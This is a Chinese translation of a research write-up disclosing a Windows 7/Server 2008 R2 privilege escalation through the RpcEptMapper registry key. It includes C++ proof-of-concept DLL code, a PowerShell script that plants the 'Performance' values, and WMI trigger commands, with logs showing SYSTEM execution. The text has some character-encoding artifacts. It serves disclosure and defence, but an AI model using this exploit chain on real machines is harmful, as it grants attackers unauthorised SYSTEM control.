[[377899]]

PrivescCheck是是著名PowerUp的一種更新和擴(kuò)展版本,可以針對Windows系統(tǒng)的提權(quán)枚舉腳本，該腳本能夠枚舉出目標(biāo)Windows系統(tǒng)中常見的Windows錯(cuò)誤安全配置。如果你曾經(jīng)在Windows 7或Windows Server 2008 R2上運(yùn)行過此腳本，則可能會(huì)注意到重復(fù)出現(xiàn)奇怪的結(jié)果，可能會(huì)像我一樣認(rèn)為它是一個(gè)誤報(bào)，但其實(shí)它是一個(gè)漏洞。

從今年年初開始，我開始研究特權(quán)升級枚舉腳本：PrivescCheck，使用此腳本，我只是希望能夠快速枚舉由系統(tǒng)配置錯(cuò)誤引起的潛在漏洞，但實(shí)際上卻產(chǎn)生了一些意外的結(jié)果，比如它使我能夠在Windows 7 / Server 2008R2中找到很多零日漏洞!

假設(shè)一臺Windows設(shè)備打了完整的補(bǔ)丁，可能導(dǎo)致本地特權(quán)升級的主要安全問題之一是服務(wù)配置錯(cuò)誤。如果普通用戶能夠修改現(xiàn)有服務(wù)，則就可以在本地/網(wǎng)絡(luò)服務(wù)甚至本地系統(tǒng)的上下文中執(zhí)行任意代碼。以下就是一些最常見的漏洞：

1. 服務(wù)控制管理器(SCM)：可以通過SCM向低特權(quán)用戶授予服務(wù)的特定權(quán)限。例如，普通用戶可以通過命令sc.exe start wuauserv啟動(dòng)Windows更新服務(wù)，這要感謝SERVICE_START權(quán)限，這是一個(gè)非常常見的場景。但是，如果該用戶具有SERVICE_CHANGE_CONFIG，則他/她將能夠更改該服務(wù)的行為并使其運(yùn)行任意可執(zhí)行文件。

2.二進(jìn)制權(quán)限：典型的Windows服務(wù)通常具有一個(gè)與其關(guān)聯(lián)的命令行。如果你可以修改相應(yīng)的可執(zhí)行文件或者如果你在父文件夾中具有寫入權(quán)限，那么你基本上可以在該服務(wù)的安全上下文中執(zhí)行所需的任何操作。

3.未引用的路徑：此問題與Windows解析命令行的方式有關(guān)。比如帶有以下命令行的虛擬服務(wù)：C:\Applications\Custom service \service.exe /v。此命令行不明確，因此Windows將首先嘗試以Service \ service.exe作為第一個(gè)參數(shù)，/ v作為第二個(gè)參數(shù)執(zhí)行C:\Applications\Custom.exe。如果一個(gè)普通用戶在C:\Applications中有寫權(quán)限，那么就可以通過復(fù)制一個(gè)惡意的可執(zhí)行文件到C:\Applications\Custom.exe來劫持服務(wù)。這就是為什么路徑應(yīng)該總是用引號括起來，特別是當(dāng)它們包含空格的時(shí)候："C:\Applications\Custom Service\service.exe" /v。

4.虛擬DLL劫持和可寫的%PATH%文件夾：即使在Windows的默認(rèn)安裝中，某些內(nèi)置服務(wù)也會(huì)嘗試加載不存在的DLL。這本身不是一個(gè)漏洞，但如果在%PATH%環(huán)境變量中列出的文件夾中有一個(gè)可以被普通用戶寫入，那么這些服務(wù)就可能被劫持。

這些潛在的安全問題中的每一個(gè)都已經(jīng)在PowerUp中進(jìn)行了相應(yīng)的檢查，但是在另一種情況下，可能會(huì)發(fā)生配置錯(cuò)誤：注冊表。通常，在創(chuàng)建服務(wù)時(shí)，可以通過使用內(nèi)置命令sc.exe作為管理員調(diào)用服務(wù)控制管理器來進(jìn)行。這將在HKLM \ SYSTEM \ CurrentControlSet \ Services中創(chuàng)建一個(gè)帶有服務(wù)名稱的子項(xiàng)，并將所有設(shè)置(命令行、用戶等)保存在該子項(xiàng)中。因此，如果這些設(shè)置由SCM管理，則默認(rèn)情況下它們應(yīng)該是安全的。

檢查注冊表權(quán)限

PowerUp的核心函數(shù)之一是Get-ModifiablePath。這個(gè)函數(shù)的基本思想是提供一種通用的方法來檢查當(dāng)前用戶是否可以以任何方式修改文件或文件夾(例如:AppendData/AddSubdirectory)。它通過解析目標(biāo)對象的ACL，然后將其與通過它所屬的所有組授予當(dāng)前用戶帳戶的權(quán)限進(jìn)行比較來實(shí)現(xiàn)。雖然這一原則最初是針對文件和文件夾實(shí)現(xiàn)的，但注冊表項(xiàng)也是安全對象。因此，可以實(shí)現(xiàn)一個(gè)類似的函數(shù)來檢查當(dāng)前用戶是否有對注冊表項(xiàng)的寫權(quán)限。這正是我所做的，因此我添加了一個(gè)新的核心函數(shù)：Get-ModifiableRegistryPath。

然后，實(shí)現(xiàn)對與Windows服務(wù)相對應(yīng)的可修改注冊表項(xiàng)的檢查就像在路徑Registry :: HKLM \ SYSTEM \ CurrentControlSet \ Services上調(diào)用Get-ChildItem PowerShell命令一樣容易。結(jié)果可以簡單地通過管道傳遞到新的Get-ModifiableRegistryPath命令，僅此而已。

當(dāng)我需要實(shí)現(xiàn)一個(gè)新的檢查時(shí)，我使用Windows 10設(shè)備，并且我也使用同一臺設(shè)備進(jìn)行初始測試，以查看是否一切都如預(yù)期的那樣工作。當(dāng)代碼穩(wěn)定后，我將測試擴(kuò)展到其他幾個(gè)Windows vm上，以確保它仍與PowerShell v2兼容，并且仍然可以在較老的系統(tǒng)上運(yùn)行。我最常用于此目的的操作系統(tǒng)是Windows 7，Windows 2008 R2和Windows Server 2012 R2。

當(dāng)我在Windows 10的默認(rèn)安裝上運(yùn)行更新的腳本時(shí)，它沒有返回任何內(nèi)容，這是我期望的結(jié)果。我在Windows 7上運(yùn)行了它，看到的結(jié)果如下：

由于我沒想到腳本會(huì)產(chǎn)生任何結(jié)果，因此我首先認(rèn)為這些都是誤報(bào)，并且在實(shí)施過程中有些操作失誤。不過我仔細(xì)看了一下結(jié)果，發(fā)現(xiàn)這些都不是誤報(bào)。

誤報(bào)嗎?

根據(jù)腳本的輸出，當(dāng)前用戶對兩個(gè)注冊表項(xiàng)具有一定的寫入權(quán)限：

HKLM\SYSTEM\CurrentControlSet\Services\Dnscache 
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper 

 讓我們使用regedit GUI手動(dòng)檢查RpcEptMapper服務(wù)的權(quán)限，我非常喜歡高級安全設(shè)置窗口的“有效權(quán)限”選項(xiàng)卡。你可以選擇任何用戶名或組名，然后立即查看授予該主體的有效權(quán)限，而無需分別檢查所有ACE。以下屏幕截圖顯示了低權(quán)限實(shí)驗(yàn)室用戶帳戶的結(jié)果。

大多數(shù)權(quán)限是標(biāo)準(zhǔn)權(quán)限(例如：查詢值)，但其中一項(xiàng)特別突出：創(chuàng)建子項(xiàng)。與此權(quán)限對應(yīng)的通用名稱為AppendData / AddSubdirectory，該名稱正是腳本報(bào)告的名稱：

Name              : RpcEptMapper 
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS 
User              : NT AUTHORITY\NetworkService 
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper} 
IdentityReference : NT AUTHORITY\Authenticated Users 
Permissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory} 
Status            : Running 
UserCanStart      : True 
UserCanRestart    : False 
 
Name              : RpcEptMapper 
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS 
User              : NT AUTHORITY\NetworkService 
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper} 
IdentityReference : BUILTIN\Users 
Permissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory} 
Status            : Running 
UserCanStart      : True 
UserCanRestart    : False 

 這到底是什么意思?這意味著我們不能僅僅修改ImagePath值。為此，我們需要WriteData / AddFile權(quán)限。相反，我們只能創(chuàng)建一個(gè)新的子項(xiàng)。

這是否意味著它確實(shí)是誤報(bào)?當(dāng)然不會(huì)。

RTFM

至此，我們知道可以在HKLM \ SYSTEM \ CurrentControlSet \ Services \ RpcEptMapper下創(chuàng)建任意子項(xiàng)，但是不能修改現(xiàn)有子項(xiàng)和值。這些已經(jīng)存在的子項(xiàng)是“參數(shù)”和“安全性”，它們在Windows服務(wù)中非常常見。

因此，想到的第一個(gè)問題是：是否還有其他預(yù)定義的子項(xiàng)，比如參數(shù)和安全性，我們可以利用它們來有效地修改服務(wù)的配置并以任何方式更改其行為?

為了回答這個(gè)問題，我最初的計(jì)劃是枚舉所有現(xiàn)有項(xiàng)并嘗試識別模式，這樣做的目的是查看哪些子項(xiàng)對服務(wù)的配置有意義。我開始考慮如何在PowerShell中實(shí)現(xiàn)它，然后對結(jié)果進(jìn)行排序。但是，在這樣做之前，我想知道此注冊表結(jié)構(gòu)是否已經(jīng)記錄在案。因此，我用谷歌搜索類似于Windows服務(wù)配置注冊表站點(diǎn)：microsoft.com，這是第一個(gè)出現(xiàn)的結(jié)果。

乍看之下，文檔似乎并不詳盡和完整?？紤]到標(biāo)題，我希望看到某種樹形結(jié)構(gòu)，其中詳細(xì)列出了定義服務(wù)配置的所有子項(xiàng)和值，但顯然不存在。

盡管如此，我還是快速瀏覽了每個(gè)段落。而且，我很快發(fā)現(xiàn)了關(guān)項(xiàng)字 “Performance” 和 “DLL”。在“Performance”小標(biāo)題下，我們可以閱讀以下內(nèi)容：

Performance：用于指定可選性能監(jiān)視信息的項(xiàng)。該項(xiàng)下的值指定驅(qū)動(dòng)程序性能DLL的名稱以及該DLL中某些導(dǎo)出的函數(shù)的名稱。你可以使用驅(qū)動(dòng)程序INF文件中的AddReg項(xiàng)將值項(xiàng)添加到此子項(xiàng)中。

所以，理論上可以通過Performance子項(xiàng)在驅(qū)動(dòng)程序服務(wù)中注冊DLL，以便監(jiān)視其性能。好的，這真的很有趣! RpcEptMapper服務(wù)默認(rèn)情況下不存在此項(xiàng)，因此看起來正是我們所需要的。但是，有一個(gè)小問題，該服務(wù)絕對不是驅(qū)動(dòng)程序服務(wù)。無論如何，仍然值得嘗試，但我們首先需要有關(guān)此“性能監(jiān)控”功能的更多信息。

注意：在Windows中，每個(gè)服務(wù)都有給定的類型。服務(wù)類型可以是以下值之一：SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256)。

在網(wǎng)上搜索了一番之后，我在文檔中找到了這個(gè)資源：創(chuàng)建應(yīng)用程序的性能項(xiàng)。

首先，有一個(gè)很好的樹結(jié)構(gòu)，列出了我們必須創(chuàng)建的所有項(xiàng)和值：

庫值可以包含DLL名稱或指向DLL的完整路徑;

Open、Collect和Close值允許你指定DLL應(yīng)該導(dǎo)出的函數(shù)的名稱;

這些值的數(shù)據(jù)類型為REG_SZ(對于庫值，甚至為REG_EXPAND_SZ)。

如果你跟蹤本資源中包含的鏈接，你甚至可以找到這些函數(shù)的原型以及一些代碼示例：實(shí)現(xiàn)OpenPerformanceData。

我認(rèn)為理論已經(jīng)足夠，該開始編寫一些代碼了!

編寫概念驗(yàn)證

由于我在整個(gè)文檔中都能收集到點(diǎn)點(diǎn)滴滴，因此編寫一個(gè)簡單的概念驗(yàn)證DLL應(yīng)該非常簡單。但是，我們?nèi)匀恍枰粋€(gè)計(jì)劃!

當(dāng)我需要利用某種DLL劫持漏洞時(shí)，我通常從一個(gè)簡單的自定義日志助手函數(shù)開始。此函數(shù)的目的是在每次調(diào)用文件時(shí)將一些關(guān)項(xiàng)信息寫入文件中。通常，我記錄當(dāng)前進(jìn)程和父進(jìn)程的PID、運(yùn)行進(jìn)程的用戶名和相應(yīng)的命令行。我還記錄了觸發(fā)此日志事件的函數(shù)的名稱，這樣，我就知道代碼的哪一部分被執(zhí)行了。

啟動(dòng)Visual Studio并創(chuàng)建一個(gè)新的“ C ++ Console App”項(xiàng)目。請注意，我本可以創(chuàng)建“動(dòng)態(tài)鏈接庫(DLL)”項(xiàng)目，但我發(fā)現(xiàn)從控制臺應(yīng)用程序開始實(shí)際上更容易。

以下是Visual Studio生成的初始代碼：

當(dāng)然，那不是我們想要的。我們要?jiǎng)?chuàng)建一個(gè)DLL，而不是EXE，因此我們必須用DllMain替換main函數(shù)，你可以在《初始化DLL文檔》中找到此函數(shù)的框架代碼。

同時(shí)，我們還需要更改項(xiàng)目的設(shè)置，以指定輸出的編譯文件應(yīng)該是DLL而不是EXE。為此，你可以打開項(xiàng)目屬性，在“General”部分，選擇“Dynamic Library (.dll)”作為“配置類型”。在標(biāo)題欄的正下方，你還可以選擇“所有配置”和“所有平臺”，以便可以全局應(yīng)用此設(shè)置。

接下來，添加我的自定義日志幫助器功能。

#include  // UNLEN + GetUserName 
#include  // CreateToolhelp32Snapshot() 
#include void Log(LPCWSTR pwszCallingFrom){ 
    LPWSTR pwszBuffer, pwszCommandLine; 
    WCHAR wszUsername[UNLEN + 1] = { 0 }; 
    SYSTEMTIME st = { 0 }; 
    HANDLE hToolhelpSnapshot; 
    PROCESSENTRY32 stProcessEntry = { 0 }; 
    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; 
    BOOL bResult = FALSE; 
 
    // Get the command line of the current process 
    pwszCommandLine = GetCommandLine(); 
 
    // Get the name of the process owner 
    GetUserName(wszUsername, &dwPcbBuffer); 
 
    // Get the PID of the current process 
    dwProcessId = GetCurrentProcessId(); 
 
    // Get the PID of the parent process 
    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    stProcessEntry.dwSize = sizeof(PROCESSENTRY32); 
    if (Process32First(hToolhelpSnapshot, &stProcessEntry)) { 
        do { 
            if (stProcessEntry.th32ProcessID == dwProcessId) { 
                dwParentProcessId = stProcessEntry.th32ParentProcessID; 
                break; 
            } 
        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry)); 
    } 
    CloseHandle(hToolhelpSnapshot); 
 
    // Get the current date and time 
    GetLocalTime(&st); 
 
    // Prepare the output string and log the result 
    dwBufSize = 4096 * sizeof(WCHAR); 
    pwszBuffer = (LPWSTR)malloc(dwBufSize); 
    if (pwszBuffer) 
    { 
        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n", 
            st.wHour, 
            st.wMinute, 
            st.wSecond, 
            dwProcessId, 
            dwParentProcessId, 
            wszUsername, 
            pwszCommandLine, 
            pwszCallingFrom 
        ); 
 
        LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer); 
 
        free(pwszBuffer); 
    }} 

 然后，我們可以使用在文檔中看到的三個(gè)函數(shù)來填充DLL。該文檔還指出，如果成功，它們應(yīng)該返回ERROR_SUCCESS。

現(xiàn)在項(xiàng)目已經(jīng)正確配置好了，DllMain已經(jīng)實(shí)現(xiàn)了，我們有了一個(gè)日志輔助函數(shù)和三個(gè)必需的函數(shù)。不過還缺少最后一件事。如果我們編譯這段代碼，OpenPerfData, CollectPerfData和ClosePerfData將只作為內(nèi)部函數(shù)可用，所以我們需要導(dǎo)出它們。這可以通過幾種方式實(shí)現(xiàn)。例如，你可以創(chuàng)建一個(gè)DEF文件，然后適當(dāng)?shù)嘏渲庙?xiàng)目。但是，我更喜歡使用__declspec(dllexport)關(guān)鍵字，特別是對于像這樣的小項(xiàng)目。這樣，我們只需要在源代碼的開始聲明這三個(gè)函數(shù)即可。

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData(); 

如果你想查看完整的代碼，請點(diǎn)此。這將生成我們的DLL文件：.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll

測試PoC

在繼續(xù)之前，我總是通過單獨(dú)測試來確保我的有效載荷是否正常工作，其主要目的是防止你在假設(shè)的調(diào)試階段陷入無路可走的境地。為此，我們可以簡單地使用rundll32.exe并將DLL的名稱和導(dǎo)出函數(shù)的名稱作為參數(shù)傳遞。

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData 

 現(xiàn)在日志文件已被創(chuàng)建，如果打開它，我們可以看到兩個(gè)條目。第一個(gè)是在rundll32.exe加載DLL時(shí)編寫的。第二個(gè)是在調(diào)用OpenPerfData時(shí)編寫的。

[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain' 
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData' 

 現(xiàn)在我們可以專注于實(shí)際漏洞了，并從創(chuàng)建所需的注冊表項(xiàng)和值開始。我們既可以使用reg.exe / regedit.exe手動(dòng)執(zhí)行此操作，也可以使用腳本以編程方式執(zhí)行此操作。由于我在最初的研究中已經(jīng)完成了手動(dòng)步驟，因此我將展示一種使用PowerShell腳本執(zhí)行相同操作的更簡潔的方法。此外，在PowerShell中創(chuàng)建注冊表項(xiàng)和值就像調(diào)用New-Item和New-ItemProperty一樣容易，不是嗎?

請求的注冊表訪問是不允許的，至于具體原因我還沒有進(jìn)行研究，但我猜測是，當(dāng)我們調(diào)用New-Item時(shí)，powershell.exe實(shí)際上會(huì)嘗試使用一些與我們沒有權(quán)限相對應(yīng)的標(biāo)志來打開父注冊表項(xiàng)。

無論如何，如果內(nèi)置的cmdlet不能完成任務(wù)，我們總是可以跳到下一級直接調(diào)用DotNet函數(shù)。實(shí)際上，還可以在PowerShell中使用以下代碼創(chuàng)建注冊表項(xiàng)。

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance") 

 最后，我整理了以下腳本，以創(chuàng)建適當(dāng)?shù)捻?xiàng)和值，等待用戶輸入，并最終通過清理所有內(nèi)容來終止。

$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance" 
  
Write-Host "[*] Create 'Performance' subkey" 
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey) 
Write-Host "[*] Create 'Library' value" 
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null 
Write-Host "[*] Create 'Open' value" 
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null 
Write-Host "[*] Create 'Collect' value" 
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null 
Write-Host "[*] Create 'Close' value" 
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null 
  
Read-Host -Prompt "Press any key to continue" 
  
Write-Host "[*] Cleanup" 
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force 
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force 
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force 
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force 
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey) 

 最后一步，我們?nèi)绾握T騙RPC端點(diǎn)映射器服務(wù)加載我們的Performace DLL?不幸的是，我沒有記錄下所有嘗試過的事情。但你可以使用WMI(Windows管理規(guī)范)查詢性能計(jì)數(shù)器，這一點(diǎn)也不奇怪。計(jì)數(shù)器類型類中顯示為屬性的CounterType限定符，在Win32_PerfFormattedData類中顯示為屬性的CookingType限定符。

因此，我首先使用以下命令枚舉了PowerShell中與Performace Data相關(guān)的WMI類。

Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" } 

而且，我看到我的日志文件幾乎是立即創(chuàng)建的!下面是文件的內(nèi)容。

[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' 

 我期望最多在RpcEptMapper服務(wù)的上下文中以網(wǎng)絡(luò)服務(wù)的形式執(zhí)行任意代碼，但看起來我得到的結(jié)果比預(yù)期的要好得多。實(shí)際上，我在WMI服務(wù)本身的上下文中執(zhí)行了任意代碼，該服務(wù)以本地系統(tǒng)運(yùn)行。注意：如果我以NETWORK SERVICE的身份執(zhí)行了任意代碼，那么我將僅僅從本地系統(tǒng)帳戶中獲得一個(gè)標(biāo)記，這要感謝James Forshaw幾個(gè)月前發(fā)表的一篇文章《Sharing a Logon Session a Little Too Much》。

我還嘗試分別獲取每個(gè)WMI類，并觀察到完全相同的結(jié)果。

Get-WmiObject Win32_Perf 
Get-WmiObject Win32_PerfRawData 
Get-WmiObject Win32_PerfFormattedData 

 總結(jié)

我不知道這個(gè)漏洞為何被忽視這么久了，一種解釋是，其他工具可能會(huì)在注冊表中尋找完整的寫入訪問權(quán)限，而在本例中，AppendData / AddSubdirectory實(shí)際上足夠了。關(guān)于“錯(cuò)誤配置”本身，我假設(shè)注冊表項(xiàng)是為了特定的目的而這樣設(shè)置的，盡管我想不出用戶有任何類型的權(quán)限來修改服務(wù)的配置的具體場景。

我決定公開發(fā)表此漏洞的原因有兩個(gè)：第一個(gè)原因是，在我用GetModfiableRegistryPath函數(shù)更新PrivescCheck腳本的那一天，我實(shí)際上公開了它，最初我并沒有意識到這一點(diǎn)，那是幾個(gè)月前。第二個(gè)原因是影響很小。它需要本地訪問，并且只影響不再支持的舊版本的Windows(除非你購買了擴(kuò)展支持……)此時(shí)，如果你仍然在使用Windows 7 / Server 2008 R2，而沒有首先在網(wǎng)絡(luò)中正確隔離這些設(shè)備，那么防止攻擊者獲得系統(tǒng)特權(quán)可能是你最不需要擔(dān)心的事情。

相關(guān)鏈接

• GitHub - PrivescCheck
• https://github.com/itm4n/PrivescCheck
• GitHub - PowerUp
• https://github.com/HarmJ0y/PowerUp
• Microsoft - “HKLM\SYSTEM\CurrentControlSet\Services Registry Tree”
• https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
• Microsoft - Creating the Application’s Performance Key
• https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key

 本文翻譯自：https://itm4n.github.io/windows-registry-rpceptmapper-eop/如若轉(zhuǎn)載，請注明原文地址。